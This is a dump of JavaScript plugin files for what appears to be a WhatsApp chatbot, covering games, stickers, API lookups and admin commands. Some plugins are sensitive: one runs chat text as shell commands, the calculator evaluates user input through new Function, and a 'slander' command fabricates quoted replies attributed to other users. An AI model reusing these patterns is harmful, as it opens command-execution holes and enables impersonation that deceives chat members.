21 | handler.botAdmin = false 22 | 23 | handler.fail = null 24 | 25 | module.exports = handler 26 | 27 | const more = String.fromCharCode(8206) 28 | const readMore = more.repeat(4001) 29 | 30 | -------------------------------------------------------------------------------- /plugins/buylimit.js: -------------------------------------------------------------------------------- 1 | const xpperlimit = 350 2 | let handler = async (m, { conn, command, args }) => { 3 | let count = command.replace(/^buy/i, '') 4 | count = count ? /all/i.test(count) ? Math.floor(global.db.data.users[m.sender].exp / xpperlimit) : parseInt(count) : args[0] ? parseInt(args[0]) : 1 5 | count = Math.max(1, count) 6 | if (global.db.data.users[m.sender].exp >= xpperlimit * count) { 7 | global.db.data.users[m.sender].exp -= xpperlimit * count 8 | global.db.data.users[m.sender].limit += count 9 | conn.reply(m.chat, `-${xpperlimit * count} XP\n+ ${count} Limit`, m) 10 | } else conn.reply(m.chat, `XP is not enough to buy ${count} limit`, m) 11 | } 12 | handler.help = ['buy ', 'buyall'] 13 | handler.tags = ['xp'] 14 | handler.command = /^buy([0-9]+)|buy|buyall$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.exp = 0 26 | 27 | module.exports = handler 28 | 29 | -------------------------------------------------------------------------------- /plugins/calc.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let id = m.chat 3 | conn.math = conn.math ? conn.math : {} 4 | if (id in conn.math) { 5 | clearTimeout(conn.math[id][3]) 6 | delete conn.math[id] 7 | m.reply('Hmmm...cheat?') 8 | } 9 | let val = text 10 | .replace(/[^0-9\-\/+*×÷πEe()piPI/]/g, '') 11 | .replace(/×/g, '*') 12 | .replace(/÷/g, '/') 13 | .replace(/π|pi/gi, 'Math.PI') 14 | .replace(/e/gi, 'Math.E') 15 | .replace(/\/+/g, '/') 16 | .replace(/\++/g, '+') 17 | .replace(/-+/g, '-') 18 | let format = val 19 | .replace(/Math\.PI/g, 'π') 20 | .replace(/Math\.E/g, 'e') 21 | .replace(/\//g, '÷') 22 | .replace(/\*×/g, '×') 23 | try { 24 | console.log(val) 25 | let result = (new Function('return ' + val))() 26 | if (!result) throw result 27 | m.reply(`*${format}* = _${result}_`) 28 | } catch (e) { 29 | if (e == undefined) throw 'What\'s in it?' 30 | throw 'Incorrect format, only 0-9 and Symbol -, +, *, /, ×, ÷, π, e, (, ) supported' 31 | } 32 | } 33 | handler.help = ['calc '] 34 | handler.tags = ['tools'] 35 | handler.command = /^(calc(ulat(e|or))?|kalk(ulator)?)$/i 36 | handler.exp = 5 37 | 38 | module.exports = handler 39 | -------------------------------------------------------------------------------- /plugins/carigrup.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, text }) => { 3 | if (!text) throw 'What are you looking for?' 4 | let res = await fetch(global.API('xteam', '/search/grupwa', { 5 | q: text 6 | }, 'APIKEY')) 7 | if (res.status !== 200) throw await res.text() 8 | let json = await res.json() 9 | if (!json.status) throw json 10 | let teks = json.result.map(res => res.subject + '\n' + res.link).join('\n\n') 11 | m.reply(teks) 12 | } 13 | handler.help = ['searchgroup '] 14 | handler.tags = ['tools'] 15 | 16 | handler.command = /^searchgroup/i 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/caripesan.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw 'Enter the message you are looking for!' 3 | let split = text.split`|` 4 | let result = await conn.searchMessages(split[0], m.chat, split[1], 1) 5 | if (result.messages.length > 0) { 6 | let total = result.messages.length 7 | let sp = total < Number(split[1]) ? `Found only ${total} messages` : `Found ${total} message` 8 | m.reply(sp) 9 | 10 | result.messages.map( async ({ key }) => { 11 | let { remoteJid: _remoteJid, id: _ids } = key 12 | let _message = await conn.loadMessage(_remoteJid, _ids) 13 | conn.reply(m.chat, 'Here\'s the message', _message) 14 | }) 15 | } 16 | } 17 | 18 | handler.help = ['searchmessage |'] 19 | handler.tags = ['tools'] 20 | 21 | handler.command = /^searchmessage/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/case.js: -------------------------------------------------------------------------------- 1 | function handler(m, { text }) { 2 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 3 | m.reply(teks.replace(/[a-z]/gi, v => Math.random() > .5 ? v[['toLowerCase', 'toUpperCase'][Math.floor(Math.random() * 2)]]() : v).replace(/[abegiors]/gi, v => { 4 | if (Math.random() > .5) return v 5 | switch (v.toLowerCase()) { 6 | case 'a': return '4' 7 | case 'b': return Math.random() > .5 ? '8' : '13' 8 | case 'e': return '3' 9 | case 'g': return Math.random() > .5 ? '6' : '9' 10 | case 'i': return '1' 11 | case 'o': return '0' 12 | case 'r': return '12' 13 | case 's': return '5' 14 | } 15 | })) 16 | } 17 | handler.command = ['alay', 'case'] 18 | 19 | module.exports = handler -------------------------------------------------------------------------------- /plugins/charainfo.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async(m, { conn, text }) => { 3 | if (!text) throw `Enter the query!` 4 | let res = await fetch(global.API('https://api.jikan.moe', '/v3/search/character', { q: text })) 5 | if (!res.ok) throw await res.text() 6 | let json = await res.json() 7 | let { name, alternative_names, url, image_url, type } = json.results[0] 8 | let charaingfo = `🧧 *Name:* ${name} 9 | 🏮 *Nickname:* ${alternative_names} 10 | 🔗 *Link*: ${url} 11 | 🧩 *Character Type*: ${type}` 12 | 13 | conn.sendFile(m.chat, image_url, '', charaingfo, m) 14 | } 15 | handler.help = ['character '] 16 | handler.tags = ['anime'] 17 | handler.command = /^(chara|character)$/i 18 | //kyaa jangan biarkan wabot-aq terbengkalai sampai nurutomo kembali 19 | // Command - Re Edited -- TOXIC-DEVIL == || Character Type || 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/circle.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | const { sticker } = require('../lib/sticker') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async (m, { conn, text }) => { 6 | try { 7 | let q = m.quoted ? m.quoted : m 8 | let mime = (q.msg || q).mimetype || '' 9 | if (!mime) throw 'No picture' 10 | if (!/image\/(jpe?g|png)/.test(mime)) throw `Meme ${mime} not supported` 11 | let img = await q.download() 12 | let url = await uploadImage(img) 13 | let wanted = global.API('dzx', '/api/canvas/circle', { url }) //`https://api.dhamzxploit.my.id/api/canvas/circle?url=${url}` 14 | let stiker = await sticker(null, wanted, 'circle', 'games-wabot') 15 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 16 | quoted: m 17 | }) 18 | } catch (e) { 19 | m.reply('Conversion Failed') 20 | } 21 | } 22 | handler.help = ['circle'] 23 | handler.tags = ['sticker'] 24 | handler.command = /^circle$/i 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/cmdWithMedia.js: -------------------------------------------------------------------------------- 1 | const { MessageType, newMessagesDB } = require("@adiwajshing/baileys") 2 | 3 | module.exports = { 4 | async all(m, chatUpdate) { 5 | if (m.isBaileys) return 6 | if (!m.message) return 7 | if (!m.msg.fileSha256) return 8 | if (!(m.msg.fileSha256.toString('hex') in global.db.data.sticker)) return 9 | let hash = global.db.data.sticker[m.msg.fileSha256.toString('hex')] 10 | let { text, mentionedJid } = hash 11 | this.emit('chat-update', { 12 | ...chatUpdate, 13 | messages: newMessagesDB([ 14 | this.cMod(m.chat, 15 | await this.prepareMessage(m.chat, text, MessageType.extendedText, { 16 | contextInfo: { 17 | mentionedJid 18 | }, 19 | ...(m.quoted ? { quoted: m.quoted.fakeObj } : {}), 20 | messageId: m.id, 21 | }), 22 | text, 23 | m.sender 24 | ) 25 | ]) 26 | }) 27 | } 28 | } -------------------------------------------------------------------------------- /plugins/colorful.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | let handler = async (m, { conn, text }) => { 3 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 4 | await conn.sendFile(m.chat, global.API('xteam', '/videomaker/colorful', { text: teks }, 'APIKEY'), 'colorful.mp4', "weeee", m) 5 | } 6 | handler.help = ['colorful'].map((v) => v + " ") 7 | handler.tags = ['videomaker'] 8 | 9 | handler.command = /^colorful$/i 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/contact.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) return 3 | let who 4 | if (m.isGroup) who = m.mentionedJid[0] 5 | else who = m.chat 6 | if (!who) throw 'Tag salah satu lah' 7 | txt = text.replace('@' + who.split`@`[0], '').trimStart() 8 | return conn.sendContact(m.chat, who, txt || conn.getName(who), m) 9 | } 10 | handler.help = ['save'].map(v => v + ' @mention ') 11 | handler.tags = ['tools'] 12 | 13 | handler.command = /^save$/ 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/covid.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | let res = await fetch(global.API('https://covid19.mathdro.id', '/api/countries/'+ (text))) 4 | if (!res.ok) throw await res.text() 5 | let json = await res.json() 6 | if (!json.confirmed) throw 'country ?' 7 | if (json.confirmed) m.reply(` 8 | Countries : ${text} 9 | Confirmed : ${json.confirmed.value} 10 | Recovered : ${json.recovered.value} 11 | Deaths : ${json.deaths.value} 12 | Last Update : ${json.lastUpdate} 13 | \n\n@hope`.trim()) 14 | else throw json 15 | } 16 | handler.help = ['covid'].map(v => v + ' ') 17 | handler.tags = ['internet'] 18 | handler.command = /^(corona|covid|covid19)$/i 19 | //susu 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/creator.js: -------------------------------------------------------------------------------- 1 | function handler(m) { 2 | // Ini cuma contoh, jgn di uncomment -_- 3 | // F this.sendContact(m.chat, '62815158600891', 'Nurutomo', m) 4 | this.sendContact(m.chat, '918396901628', 'kazukafu', m) 5 | } 6 | handler.help = ['owner/creator'] 7 | handler.tags = ['info'] 8 | 9 | handler.command = /^(owner|creator)$/i 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/customtrigger.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | const uploadFile = require('../lib/uploadFile') 3 | const { sticker } = require('../lib/sticker') 4 | const { MessageType } = require('@adiwajshing/baileys') 5 | //api down always at night :/ 6 | let handler = async (m, { conn, text, command, usedPrefix }) => { 7 | if (!text) throw 'Enter Text!!' 8 | if (text.length > 8) return conn.reply(m.chat, '_Text Too Long! Maximum 8 letters!_', m) 9 | let q = m.quoted ? m.quoted : m 10 | let mime = (q.msg || q).mimetype || '' 11 | if (!mime) throw `Reply image with caption *${usedPrefix + command} ${text}*` 12 | try { 13 | if (!/image\/(jpe?g|png)/.test(mime)) throw `Mime ${mime} not supported` 14 | let img = await q.download() 15 | let url = await uploadImage(img).catch(e => uploadFile(img)) 16 | let meme = global.API('http://zekais-api.herokuapp.com/', 'customtrigger', {text , image: url}) 17 | let stiker = await sticker(null, meme, global.packname, global.author) 18 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 19 | quoted: m 20 | }) 21 | } catch (e) { 22 | m.reply('Error || Reply with image!') 23 | throw false 24 | } 25 | } 26 | handler.help = ['ctrigger '] 27 | handler.tags = ['sticker'] 28 | handler.command = /^(custom|c)trigger$/i 29 | handler.limit = true 30 | //MADEbyAnshul 31 | module.exports = handler -------------------------------------------------------------------------------- /plugins/debounce.js: -------------------------------------------------------------------------------- 1 | let { spawn } = require('child_process'); 2 | let handler = async (m, { conn }) => { 3 | if (!process.send) throw 'Dont: node main.js\nDo: node index.js' 4 | if (global.conn.user.jid == conn.user.jid) { 5 | await m.reply('Resetting the Bot...\nPlease wait') 6 | await global.db.write() 7 | process.send('reset') 8 | } else throw '_eeeeeiiittsssss..._' 9 | } 10 | handler.help = ['debounce' + (process.send ? '' : ' (Not working)')] 11 | handler.tags = ['host'] 12 | handler.command = /^debounce$/i 13 | handler.owner = true 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | 24 | module.exports = handler 25 | 26 | -------------------------------------------------------------------------------- /plugins/delCmdWithMedia.js: -------------------------------------------------------------------------------- 1 | module.exports = Object.assign(async function handler(m, { text }) { 2 | let hash = text 3 | if (m.quoted && m.quoted.fileSha256) hash = m.quoted.fileSha256.toString('hex') 4 | if (!hash) throw `Tidak ada hash` 5 | let sticker = global.db.data.sticker 6 | if (sticker[hash] && sticker[hash].locked) throw 'You have no permission to delete this sticker command' 7 | delete sticker[hash] 8 | m.reply(`Done!`) 9 | }, { 10 | help: ['cmd'].map(v => 'del' + v + ' '), 11 | tags: ['database'], 12 | command: ['delcmd'] 13 | }) -------------------------------------------------------------------------------- /plugins/delete.js: -------------------------------------------------------------------------------- 1 | let handler = function (m) { 2 | if (!m.quoted) throw false 3 | let { chat, fromMe, id, isBaileys } = m.quoted 4 | if (!fromMe) throw false 5 | if (!isBaileys) throw 'The message was not sent by a bot!' 6 | this.deleteMessage(chat, { 7 | fromMe, 8 | id, 9 | remoteJid: chat 10 | }) 11 | } 12 | handler.help = ['del/delete'] 13 | handler.tags = ['info'] 14 | 15 | handler.command = /^del(ete)?$/i 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/delmsg.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { command, usedPrefix, text }) => { 2 | let which = command.replace(/get/i, '') 3 | if (!text) throw `use *${usedPrefix}list${which}* to see the list` 4 | let msgs = global.db.data.msgs 5 | if (!text in msgs) throw `'${text}' not listed in the message list` 6 | delete msgs[text] 7 | m.reply(`Successfully deleted the message in the message list with the name '${text}'`) 8 | } 9 | handler.help = ['vn', 'msg', 'video', 'gif', 'audio', 'img', 'sticker'].map(v => 'del' + v + ' ') 10 | handler.tags = ['database'] 11 | handler.command = /^(-|del)(vn|msg|video|audio|img|stic?ker|gif)$/ 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/delprem.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | 3 | let who 4 | if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text 5 | else who = m.chat 6 | if (!who) throw `tag the person!` 7 | if (!global.prems.includes(who.split`@`[0])) throw 'he is not premium!' 8 | let index = global.prems.findIndex(v => (v.replace(/[^0-9]/g, '') + '@s.whatsapp.net') === (who.replace(/[^0-9]/g, '') + '@s.whatsapp.net')) 9 | global.prems.splice(index, 1) 10 | conn.reply(m.chat, `@${who.split('@')[0]} now not premium!`, m, { 11 | contextInfo: { 12 | mentionedJid: [who] 13 | } 14 | }) 15 | 16 | } 17 | handler.help = ['delprem [@user]'] 18 | handler.tags = ['owner'] 19 | handler.command = /^(remove|hapus|-|del)prem$/i 20 | 21 | handler.owner = true 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/delsesittt.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | 3 | conn.game = conn.game ? conn.game : {} 4 | try { 5 | if ( conn.game = true ) { 6 | delete conn.game 7 | conn.reply( m.chat, `Successfully deleted the session of ttt`, m) 8 | } else if ( conn.game = false ) { 9 | m.reply(`Session ttt🎮 does not exist`) 10 | } else throw 'ngabs' 11 | } catch (e) { 12 | m.reply('damaged') 13 | } 14 | } 15 | //BY RIZXYU 16 | handler.help = ['delttt'] 17 | handler.tags = ['game'] 18 | handler.command = /^(delttt|dellttt)$/i 19 | handler.limit = true 20 | 21 | handler.register = true 22 | handler.fail = null 23 | 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/demote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | let members = participants.filter(member => member.isAdmin).map(member => member.jid) 3 | let users = m.mentionedJid.filter(user => members.includes(user)) 4 | for (let user of users) await conn.groupDemoteAdmin(m.chat, [user]).catch(console.log) 5 | } 6 | handler.help = ['demote/member/↓'].map(v => v + ' @user') 7 | handler.tags = ['admin'] 8 | 9 | handler.command = /^(demote|member|↓)$/i 10 | 11 | handler.group = true 12 | 13 | handler.admin = true 14 | handler.botAdmin = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/dice.js: -------------------------------------------------------------------------------- 1 | const dir = [ 2 | 'https://tinyurl.com/ygms8wvy', 3 | 'https://tinyurl.com/yhdyhnap', 4 | 'https://tinyurl.com/yfwjbou7', 5 | 'https://tinyurl.com/yh3e3ogt', 6 | 'https://tinyurl.com/yfmhpvxs', 7 | 'https://tinyurl.com/ygpxka9q' 8 | ]; 9 | let handler = async (m, { conn }) => { 10 | conn.sendFile(m.chat, dir[Math.floor(Math.random() * dir.length)], 'dadu.webp', '', m) 11 | } 12 | handler.help = ['dice'] 13 | handler.tags = ['fun'] 14 | handler.command = /^dice$/i 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/donasi.js: -------------------------------------------------------------------------------- 1 | let handler = async m => m.reply(` 2 | 👽 Owner is rich, he doesn't need your money. 3 | `.trim()) // Tambah sendiri kalo mau 4 | handler.help = ['donate'] 5 | handler.tags = ['info'] 6 | handler.command = /^dona(te|si)$/i 7 | 8 | module.exports = handler 9 | -------------------------------------------------------------------------------- /plugins/enhance.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const FormData = require('form-data') 3 | 4 | let handler = async (m) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (q.msg || q).mimetype || '' 7 | if (!mime) throw 'No picture' 8 | if (!/image\/(jpe?g|png)/.test(mime)) throw `Mime ${mime} not supported` 9 | let img = await q.download() 10 | let body = new FormData 11 | body.append('image', img, 'image') 12 | let res = await fetch('http://max-image-resolution-enhancer.codait-prod-41208c73af8fca213512856c7a09db52-0000.us-east.containers.appdomain.cloud/model/predict', { 13 | method: 'POST', 14 | body 15 | }) 16 | if (res.status !== 200) throw await res.json() 17 | await conn.sendFile(m.chat, await res.buffer(), 'hd.jpg', 'Here, HD right?', m) 18 | } 19 | handler.help = ['hd/enhance (caption|reply media)'] 20 | handler.tags = ['tools'] 21 | handler.command = /^(hd|enhance)$/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/enphoto360.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let split = '|' 3 | let handler = async (m, { conn, args: [effect], text: txt }) => { 4 | let { effects } = await (await (fetch(global.API('xteam', '/ephoto')))).json() 5 | if (!effect) throw '*List Effect*\n\n' + effects.sort((a, b) => a - b).join('\n') 6 | effect = effect.toLowerCase() 7 | if (!effect in effects) throw `Effect *${effect}* not found` 8 | let [text, text2, ...text3] = txt.replace(effect, '').trimStart().split(split) 9 | text3 = text3.join(split) 10 | let url = global.API('xteam', '/ephoto/' + effect, { text, text2, text3 }, 'APIKEY') 11 | await conn.sendFile(m.chat, url, 'ephoto.jpg', `*ENPHOTO360*\n*Effect:* ${effect}`, m) 12 | } 13 | handler.help = ['enphoto'].map(v => v + ' |[text2]|[text3]') 14 | handler.tags = ['tools'] 15 | handler.command = /^(en?photo(360)?)$/i 16 | 17 | module.exports = handler 18 | 19 | -------------------------------------------------------------------------------- /plugins/exec2.js: -------------------------------------------------------------------------------- 1 | let cp = require('child_process') 2 | let { promisify } = require('util') 3 | let exec = promisify(cp.exec).bind(cp) 4 | let handler = async (m, { conn, isOwner, command, text }) => { 5 | if (global.conn.user.jid != conn.user.jid) return 6 | m.reply('Executing...') 7 | let o 8 | try { 9 | o = await exec(command.trimStart() + ' ' + text.trimEnd()) 10 | } catch (e) { 11 | o = e 12 | } finally { 13 | let { stdout, stderr } = o 14 | if (stdout.trim()) m.reply(stdout) 15 | if (stderr.trim()) m.reply(stderr) 16 | } 17 | } 18 | handler.customPrefix = /^[$] / 19 | handler.command = new RegExp 20 | handler.rowner = true 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/fetch.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let util = require('util') 3 | let handler = async (m, { text }) => { 4 | if (!/^https?:\/\//.test(text)) throw 'Prefix *URL* with http:// or https://' 5 | let _url = new URL(text) 6 | let url = global.API(_url.origin, _url.pathname, Object.fromEntries(_url.searchParams.entries()), 'APIKEY') 7 | let res = await fetch(url) 8 | if (res.headers.get('content-length') > 100 * 1024 * 1024 * 1024) { 9 | delete res 10 | throw `Content-Length: ${res.headers.get('content-length')}` 11 | } 12 | if (!/text|json/.test(res.headers.get('content-type'))) return conn.sendFile(m.chat, url, 'file', text, m) 13 | let txt = await res.buffer() 14 | try { 15 | txt = util.format(JSON.parse(txt+'')) 16 | } catch (e) { 17 | txt = txt + '' 18 | } finally { 19 | m.reply(txt.slice(0, 65536) + '') 20 | } 21 | } 22 | handler.help = ['fetch/get'].map(v => v + ' ') 23 | handler.tags = ['internet'] 24 | handler.command = /^(fetch|get)$/i 25 | 26 | module.exports = handler 27 | 28 | -------------------------------------------------------------------------------- /plugins/fitnah.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let handler = async (m, { conn, text }) => { 3 | if (!text) return 4 | let cm = copy(m) 5 | let who 6 | if (text.includes('@0')) who = '0@s.whatsapp.net' 7 | else if (m.isGroup) who = cm.participant = m.mentionedJid[0] 8 | else who = m.chat 9 | if (!who) throw 'Tag one' 10 | cm.key.fromMe = false 11 | cm.message[m.mtype] = copy(m.msg) 12 | let sp = '@' + who.split`@`[0] 13 | let [fake, ...real] = text.split(sp) 14 | conn.fakeReply(m.chat, real.join(sp).trimStart(), who, fake.trimEnd(), m.isGroup ? m.chat : false, { 15 | contextInfo: { 16 | mentionedJid: conn.parseMention(real.join(sp).trim()) 17 | } 18 | }) 19 | } 20 | handler.help = ['slander <@user> '] 21 | handler.tags = ['tools'] 22 | handler.command = /^(slander|fakereply)$/ 23 | 24 | module.exports = handler 25 | 26 | function copy(obj) { 27 | return JSON.parse(JSON.stringify(obj)) 28 | } 29 | -------------------------------------------------------------------------------- /plugins/gay.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 3 | conn.sendFile(m.chat, global.API('https://some-random-api.ml', '/canvas/gay', { 4 | avatar: await conn.getProfilePicture(who).catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'), 5 | }), 'gay.png', '🌈pure gay', m) 6 | } 7 | 8 | handler.help = ['gay'] 9 | handler.tags = ['maker'] 10 | 11 | handler.command = /^(gay)$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/generate_purba.js: -------------------------------------------------------------------------------- 1 | function handler(m, { text }) { 2 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 3 | m.reply(teks.replace(/[aiueo]/gi, v => { 4 | switch (v.toLowerCase()) { 5 | case 'a': return 'ave' 6 | case 'i': return 'ive' 7 | case 'u': return 'uve' 8 | case 'e': return 'eve' 9 | case 'o': return 'ove' 10 | } 11 | })) 12 | } 13 | handler.help = ['ancient '] 14 | handler.tags = ['fun'] 15 | handler.command = /^(ancient)$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = false 20 | handler.private = false 21 | handler.register = false 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | module.exports = handler 26 | -------------------------------------------------------------------------------- /plugins/getcode.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | if (global.conn.user.jid == conn.user.jid) conn.reply(m.chat, 'This command is only for bots', m) 3 | else global.conn.reply(conn.user.jid, `${usedPrefix}jadibot ${Buffer.from(JSON.stringify(conn.base64EncodedAuthInfo())).toString('base64')}`, m) 4 | } 5 | handler.help = ['getcode'] 6 | handler.tags = ['jadibot'] 7 | handler.command = /^(getcode)$/i 8 | handler.owner = true 9 | handler.mods = false 10 | handler.premium = false 11 | handler.group = false 12 | handler.private = false 13 | 14 | handler.admin = false 15 | handler.botAdmin = false 16 | 17 | handler.fail = null 18 | 19 | module.exports = handler 20 | 21 | -------------------------------------------------------------------------------- /plugins/getexif.js: -------------------------------------------------------------------------------- 1 | let webp = require('node-webpmux') 2 | let util = require('util') 3 | 4 | let handler = async (m) => { 5 | if (!m.quoted) return m.reply('Tag stikernya!') 6 | let q = { message: { [m.quoted.mtype]: m.quoted } } 7 | if (/sticker/.test(m.quoted.mtype)) { 8 | let img = new webp.Image() 9 | await img.load(await m.quoted.download()) 10 | m.reply(util.format(JSON.parse(img.exif.slice(22).toString()))) 11 | } 12 | } 13 | handler.help = ['getexif'] 14 | handler.tags = ['sticker'] 15 | 16 | handler.command = ['getexif'] 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/getmsg.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, command, usedPrefix, text }) => { 2 | let which = command.replace(/get/i, '') 3 | if (!text) throw `use *${usedPrefix}list${which}* to see the list` 4 | let msgs = global.db.data.msgs 5 | if (!(text in msgs)) throw `'${text}' not listed in the message list` 6 | let _m = conn.serializeM(JSON.parse(JSON.stringify(msgs[text]), (_, v) => { 7 | if ( 8 | v !== null && 9 | typeof v === 'object' && 10 | 'type' in v && 11 | v.type === 'Buffer' && 12 | 'data' in v && 13 | Array.isArray(v.data)) { 14 | return Buffer.from(v.data) 15 | } 16 | return v 17 | })) 18 | // m.reply(`[debug]\n${require('util').format(_m)}`) 19 | await _m.copyNForward(m.chat, true) 20 | } 21 | handler.help = ['vn', 'msg', 'video', 'gif', 'audio', 'img', 'sticker'].map(v => 'get' + v + ' ') 22 | handler.tags = ['database'] 23 | handler.command = /^get(vn|msg|video|audio|img|stic?ker|gif)$/ 24 | 25 | module.exports = handler 26 | -------------------------------------------------------------------------------- /plugins/gimage.js: -------------------------------------------------------------------------------- 1 | let { promisify } = require('util') 2 | let _gis = require('g-i-s') 3 | let gis = promisify(_gis) 4 | 5 | let handler = async (m, { conn, args, text }) => { 6 | if (!text) throw 'What are you looking for?' 7 | let results = await gis(text) || [] 8 | let { url, width, height } = pickRandom(results) || {} 9 | if (!url) throw '404 Not Found' 10 | conn.sendFile(m.chat, url, 'gimage', ` 11 | *── 「 GOOGLE IMAGE 」 ──* 12 | 13 | ${text} 14 | ➸ *width*: ${width} 15 | ➸ *height*: ${height} 16 | `.trim(), m) 17 | } 18 | handler.help = ['image/gimage '] 19 | handler.tags = ['internet'] 20 | handler.command = /^(gimage|image)$/i 21 | 22 | module.exports = handler 23 | 24 | function pickRandom(arr) { 25 | return arr[Math.floor(Math.random() * arr.length)] 26 | } 27 | -------------------------------------------------------------------------------- /plugins/github-search.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | if (!text) throw 'What are you looking for?' 4 | let res = await fetch(global.API('https://api.github.com', '/search/repositories', { 5 | q: text 6 | })) 7 | let json = await res.json() 8 | if (res.status !== 200) throw json 9 | let str = json.items.map((repo, index) => { 10 | return ` 11 | ${1 + index}. *${repo.full_name}*${repo.fork ? ' (fork)' : ''} 12 | _${repo.html_url}_ 13 | _Made on *${formatDate(repo.created_at)}*_ 14 | _Last update on *${formatDate(repo.updated_at)}*_ 15 | 👁 ${repo.watchers} 🍴 ${repo.forks} ⭐ ${repo.stargazers_count} 16 | ${repo.open_issues} Issue${repo.description ? ` 17 | *Description:*\n${repo.description}` : ''} 18 | *Clone:* \`\`\`$ git clone ${repo.clone_url}\`\`\` 19 | `.trim() 20 | }).join('\n\n') 21 | m.reply(str) 22 | } 23 | handler.help = ['github'].map(v => v + ' ') 24 | handler.tags = ['tools'] 25 | 26 | handler.command = /^github$/i 27 | 28 | module.exports = handler 29 | 30 | function formatDate(n, locale = 'en') { 31 | let d = new Date(n) 32 | return d.toLocaleDateString(locale, { 33 | weekday: 'long', 34 | day: 'numeric', 35 | month: 'long', 36 | year: 'numeric', 37 | hour: 'numeric', 38 | minute: 'numeric', 39 | second: 'numeric' 40 | }) 41 | } 42 | -------------------------------------------------------------------------------- /plugins/githubdl.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { args, usedPrefix, command }) => { 2 | 3 | if (!args[0]) throw 'where\'s the username ?' 4 | if (!args[1]) throw 'where\'s the repo?' 5 | 6 | let url = `https://github.com/${args[0]}/${args[1]}/zipball/master` 7 | //ByRizkyAdi 8 | m.reply(`compressing data to zip file`) 9 | conn.sendFile( m.chat, url, 'repo.zip', null, m) 10 | 11 | } 12 | handler.help = ['githubdl '] 13 | handler.tags = ['downloader'] 14 | handler.command = /githubdl/i 15 | 16 | handler.limit = true 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/glowing.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | let handler = async (m, { conn, text }) => { 3 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 4 | await conn.sendFile(m.chat, global.API('xteam', '/videomaker/glowing', { text: teks }, 'APIKEY'), 'glowing.mp4', teks, m) 5 | } 6 | handler.help = ['glowing'].map((v) => v + " ") 7 | handler.tags = ['videomaker'] 8 | 9 | handler.command = /^glowing$/i 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/google.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let googleIt = require('google-it') 3 | let handler = async 